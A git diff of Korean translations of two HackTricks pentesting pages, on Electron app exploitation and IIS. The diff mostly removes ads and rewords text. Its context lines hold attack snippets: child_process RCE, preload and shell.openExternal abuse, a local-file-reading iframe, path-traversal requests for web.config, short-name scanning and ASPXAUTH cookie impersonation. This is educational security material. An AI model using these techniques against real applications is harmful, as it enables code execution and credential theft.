### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **정보 유출**로 인해 **위험에 처했는지** 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 유출 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,23 +15,10 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 회사나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Introduction
|
## Introduction
|
||||||
|
|
||||||
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 최신 브라우저의 일부 보안 메커니즘이 부족합니다.
|
Electron은 로컬 백엔드(**NodeJS**)와 프론트엔드(**Chromium**)를 결합하지만, 현대 브라우저의 일부 보안 메커니즘이 부족합니다.
|
||||||
|
|
||||||
일반적으로 전자 앱 코드는 `.asar` 애플리케이션 내부에 있을 수 있으며, 코드를 얻으려면 이를 추출해야 합니다:
|
일반적으로 전자 앱 코드는 `.asar` 애플리케이션 내부에 있을 수 있으며, 코드를 얻으려면 이를 추출해야 합니다:
|
||||||
```bash
|
```bash
|
||||||
|
@ -63,12 +50,12 @@ Settings of the **renderer process** can be **configured** in the **main process
|
||||||
|
|
||||||
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
The electron application **could access the device** via Node apis although it can be configure to prevent it:
|
||||||
|
|
||||||
* **`nodeIntegration`** - 기본적으로 `off`입니다. 켜면, renderer process에서 node 기능에 접근할 수 있습니다.
|
* **`nodeIntegration`** - 기본적으로 `off`입니다. 만약 켜져 있다면, 렌더러 프로세스에서 노드 기능에 접근할 수 있습니다.
|
||||||
* **`contextIsolation`** - 기본적으로 `on`입니다. 꺼지면, main과 renderer processes가 격리되지 않습니다.
|
* **`contextIsolation`** - 기본적으로 `on`입니다. 꺼져 있다면, 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.
|
||||||
* **`preload`** - 기본적으로 비어 있습니다.
|
* **`preload`** - 기본적으로 비어 있습니다.
|
||||||
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본적으로 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.
|
* [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - 기본적으로 꺼져 있습니다. 이는 NodeJS가 수행할 수 있는 작업을 제한합니다.
|
||||||
* Node Integration in Workers
|
* Node Integration in Workers
|
||||||
* **`nodeIntegrationInSubframes`** - 기본적으로 꺼져 있습니다.
|
* **`nodeIntegrationInSubframes`** - 기본적으로 `off`입니다.
|
||||||
* If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
* If **`nodeIntegration`** is **enabled**, this would allow the use of **Node.js APIs** in web pages that are **loaded in iframes** within an Electron application.
|
||||||
* If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
* If **`nodeIntegration`** is **disabled**, then preloads will load in the iframe
|
||||||
|
|
||||||
|
@ -138,7 +125,7 @@ top.require('child_process').exec('open /System/Applications/Calculator.app');
|
||||||
|
|
||||||
## RCE: preload
|
## RCE: preload
|
||||||
|
|
||||||
이 설정에서 표시된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드**되므로 **Node API에 무제한으로 접근**할 수 있습니다:
|
이 설정에서 지정된 스크립트는 **렌더러의 다른 스크립트보다 먼저 로드**되므로 **Node API에 무제한으로 접근**할 수 있습니다:
|
||||||
```javascript
|
```javascript
|
||||||
new BrowserWindow{
|
new BrowserWindow{
|
||||||
webPreferences: {
|
webPreferences: {
|
||||||
|
@ -177,7 +164,7 @@ runCalc();
|
||||||
|
|
||||||
_**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE의 가능성을 제거하기 위한 필수 기능입니다.
|
_**contextIsolation**_은 **웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트**를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE의 가능성을 제거하기 위한 필수 기능입니다.
|
||||||
|
|
||||||
컨텍스트가 분리되지 않으면 공격자는:
|
컨텍스트가 격리되지 않으면 공격자는:
|
||||||
|
|
||||||
1. **렌더러에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 탐색)
|
1. **렌더러에서 임의의 JavaScript 실행** (XSS 또는 외부 사이트로의 탐색)
|
||||||
2. **프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드**를 자신의 함수로 덮어쓰기
|
2. **프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드**를 자신의 함수로 덮어쓰기
|
||||||
|
@ -206,16 +193,16 @@ window.addEventListener('click', (e) => {
|
||||||
```
|
```
|
||||||
## RCE via shell.openExternal
|
## RCE via shell.openExternal
|
||||||
|
|
||||||
이 예제에 대한 자세한 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요.
|
더 많은 정보는 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) 및 [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)를 확인하세요.
|
||||||
|
|
||||||
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지됩니다.
|
Electron 데스크탑 애플리케이션을 배포할 때 `nodeIntegration` 및 `contextIsolation`에 대한 올바른 설정을 보장하는 것이 중요합니다. 이러한 설정이 적용되면 **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트나 메인 프로세스의 Electron 네이티브 코드를 대상으로 하는 것을 효과적으로 방지할 수 있습니다.
|
||||||
|
|
||||||
사용자가 링크와 상호작용하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다:
|
사용자가 링크와 상호작용하거나 새 창을 열면 특정 이벤트 리스너가 트리거되며, 이는 애플리케이션의 보안 및 기능에 중요합니다:
|
||||||
```javascript
|
```javascript
|
||||||
webContents.on("new-window", function (event, url, disposition, options) {}
|
webContents.on("new-window", function (event, url, disposition, options) {}
|
||||||
webContents.on("will-navigate", function (event, url) {}
|
webContents.on("will-navigate", function (event, url) {}
|
||||||
```
|
```
|
||||||
이 리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크가 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
|
이 리스너는 **데스크탑 애플리케이션에 의해 재정의되어** 자체 **비즈니스 로직**을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 `openInternally`라는 함수를 통해 이루어집니다. 이 함수가 `false`를 반환하면, 링크는 외부에서 열려야 함을 나타내며, `shell.openExternal` 함수를 사용합니다.
|
||||||
|
|
||||||
**여기 간단한 의사코드가 있습니다:**
|
**여기 간단한 의사코드가 있습니다:**
|
||||||
|
|
||||||
|
@ -261,7 +248,7 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
|
||||||
|
|
||||||
## **XSS Phishing via Internal URL regex bypass**
|
## **XSS Phishing via Internal URL regex bypass**
|
||||||
|
|
||||||
XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 훔칠 수** 없는 경우, 이를 사용하여 **피싱을 통해 자격 증명을 훔치려고** 할 수 있습니다.
|
XSS를 발견했지만 **RCE를 트리거하거나 내부 파일을 훔칠 수 없다면**, 이를 사용하여 **피싱을 통해 자격 증명을 훔치려고 시도할 수** 있습니다.
|
||||||
|
|
||||||
우선, 새 URL을 열려고 할 때 어떤 일이 발생하는지 알아야 하며, 프론트엔드의 JS 코드를 확인해야 합니다:
|
우선, 새 URL을 열려고 할 때 어떤 일이 발생하는지 알아야 하며, 프론트엔드의 JS 코드를 확인해야 합니다:
|
||||||
```javascript
|
```javascript
|
||||||
|
@ -278,14 +265,14 @@ window.open("<http://subdomainagoogleq.com/index.html>")
|
||||||
```
|
```
|
||||||
## **도구**
|
## **도구**
|
||||||
|
|
||||||
* [**Electronegativity**](https://github.com/doyensec/electronegativity) 는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.
|
* [**Electronegativity**](https://github.com/doyensec/electronegativity)는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.
|
||||||
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint) 는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
|
* [**Electrolint**](https://github.com/ksdmitrieva/electrolint)는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
|
||||||
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) 은 취약한 서드파티 라이브러리를 확인하는 도구입니다.
|
* [**nodejsscan**](https://github.com/ajinabraham/nodejsscan)은 취약한 서드파티 라이브러리를 확인하는 도구입니다.
|
||||||
* [**Electro.ng**](https://electro.ng/): 구매해야 합니다.
|
* [**Electro.ng**](https://electro.ng/): 구매해야 합니다.
|
||||||
|
|
||||||
## 실습
|
## 실습
|
||||||
|
|
||||||
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s) 에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다.
|
[https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다.
|
||||||
|
|
||||||
실습에 도움이 될 몇 가지 명령어:
|
실습에 도움이 될 몇 가지 명령어:
|
||||||
```bash
|
```bash
|
||||||
|
@ -317,32 +304,20 @@ npm start
|
||||||
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||||
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
* [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||||
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
* [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s)
|
||||||
* Electron 보안에 대한 더 많은 연구 및 글은 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)에서 확인할 수 있습니다.
|
* Electron 보안에 대한 더 많은 연구 및 글은 [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)에서 확인하세요.
|
||||||
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
* [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# IIS - Internet Information Services
|
# IIS - 인터넷 정보 서비스
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -15,21 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
테스트 실행 파일 확장자:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **탈취 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
실행 파일 확장자 테스트:
|
|
||||||
|
|
||||||
* asp
|
* asp
|
||||||
* aspx
|
* aspx
|
||||||
|
@ -84,8 +70,8 @@ X-FEServer: NHEXCHANGE2016
|
||||||
전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\
|
요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\
|
||||||
**다운로드한 Dlls**에서 **새로운 네임스페이스**를 찾아 접근하고 web.config 파일을 얻어 새로운 네임스페이스와 assemblyIdentity를 찾을 수 있습니다.\
|
**다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\
|
||||||
또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.\\
|
또한, **connectionstrings.config** 및 **global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.\\
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
@ -110,11 +96,11 @@ Host: example-mvc-application.minded
|
||||||
|
|
||||||
### **루트 디렉토리 파일**
|
### **루트 디렉토리 파일**
|
||||||
|
|
||||||
루트 디렉토리에서 발견된 파일, 예를 들어 **/global.asax** 및 민감한 비밀번호를 포함하는 **/connectionstrings.config**는 애플리케이션의 구성 및 운영에 필수적입니다.
|
**/global.asax** 및 (민감한 비밀번호를 포함하는) **/connectionstrings.config**와 같은 루트 디렉토리에서 발견된 파일은 애플리케이션의 구성 및 운영에 필수적입니다.
|
||||||
|
|
||||||
### **네임스페이스 및 Web.Config**
|
### **네임스페이스 및 Web.Config**
|
||||||
|
|
||||||
MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 **web.config 파일**을 정의합니다. 이는 다른 **web.config**를 다운로드 요청하는 예로 보여집니다:
|
MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 **web.config 파일**도 정의합니다. 이는 다른 **web.config**를 다운로드 요청하는 예에서 보여집니다:
|
||||||
```markup
|
```markup
|
||||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||||
Host: example-mvc-application.minded
|
Host: example-mvc-application.minded
|
||||||
|
@ -218,20 +204,20 @@ C:\xampp\tomcat\conf\server.xml
|
||||||
서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\
|
서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\
|
||||||
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해보면 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 거기에 없다면 **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다.
|
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해보면 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 거기에 없다면 **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다.
|
||||||
|
|
||||||
## 살펴볼 가치가 있는 오래된 IIS 취약점
|
## 찾아볼 가치가 있는 오래된 IIS 취약점
|
||||||
|
|
||||||
### Microsoft IIS 물결 문자 “\~” 취약점/기능 – 짧은 파일/폴더 이름 노출
|
### Microsoft IIS 물결 문자 “\~” 취약점/기능 – 짧은 파일/폴더 이름 노출
|
||||||
|
|
||||||
이 **기법**을 사용하여 발견된 모든 폴더 내에서 **폴더와 파일을 나열**해볼 수 있습니다(기본 인증이 필요하더라도).\
|
이 **기술**을 사용하여 발견된 모든 폴더 내에서 **폴더와 파일을 나열**해볼 수 있습니다(기본 인증이 필요한 경우에도).\
|
||||||
이 기법의 주요 제한 사항은 서버가 취약할 경우 **각 파일/폴더 이름의 첫 6글자와 파일 확장자의 첫 3글자만 찾을 수 있다는 것입니다.**
|
이 기술의 주요 제한 사항은 서버가 취약할 경우 **각 파일/폴더 이름의 첫 6글자와 파일 확장자의 첫 3글자만 찾을 수 있다는 것입니다.**
|
||||||
|
|
||||||
[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)를 사용하여 이 취약점을 테스트할 수 있습니다:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
이 취약점을 테스트하기 위해 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)를 사용할 수 있습니다:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (844).png>)
|
![](<../../.gitbook/assets/image (844).png>)
|
||||||
|
|
||||||
원본 연구: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
원본 연구: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
||||||
|
|
||||||
**metasploit**도 사용할 수 있습니다: `use scanner/http/iis_shortname_scanner`
|
**metasploit**를 사용할 수도 있습니다: `use scanner/http/iis_shortname_scanner`
|
||||||
|
|
||||||
### 기본 인증 우회
|
### 기본 인증 우회
|
||||||
|
|
||||||
|
@ -243,7 +229,7 @@ C:\xampp\tomcat\conf\server.xml
|
||||||
|
|
||||||
ASP.NET은 디버깅 모드를 포함하며 그 파일은 `trace.axd`라고 불립니다.
|
ASP.NET은 디버깅 모드를 포함하며 그 파일은 `trace.axd`라고 불립니다.
|
||||||
|
|
||||||
이 파일은 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다.
|
이는 일정 기간 동안 애플리케이션에 대한 모든 요청의 매우 상세한 로그를 유지합니다.
|
||||||
|
|
||||||
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로 사용자 이름과 비밀번호가 포함됩니다.
|
이 정보에는 원격 클라이언트 IP, 세션 ID, 모든 요청 및 응답 쿠키, 물리적 경로, 소스 코드 정보, 그리고 잠재적으로 사용자 이름과 비밀번호가 포함됩니다.
|
||||||
|
|
||||||
|
@ -260,12 +246,12 @@ ASPXAUTH는 다음 정보를 사용합니다:
|
||||||
* **`decryptionIV`** (문자열): 헥스 인코딩된 초기화 벡터(기본값은 제로 벡터).
|
* **`decryptionIV`** (문자열): 헥스 인코딩된 초기화 벡터(기본값은 제로 벡터).
|
||||||
* **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키.
|
* **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키.
|
||||||
|
|
||||||
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **같은 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **가짜 사용자로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용**하여 사용자를 가장할 수 있습니다.\
|
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **같은 플랫폼**의 웹을 찾고 공격 대상 서버에서 **가짜로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용**하여 사용자를 가장할 수 있습니다.\
|
||||||
이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했습니다.
|
이 공격은 이 [**글**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공했습니다.
|
||||||
|
|
||||||
## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||||
|
|
||||||
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, **비밀번호 해시가 이미 캐시에 있는 키에 해당하는 공격자**는 해당 사용자로 로그인할 수 있습니다.
|
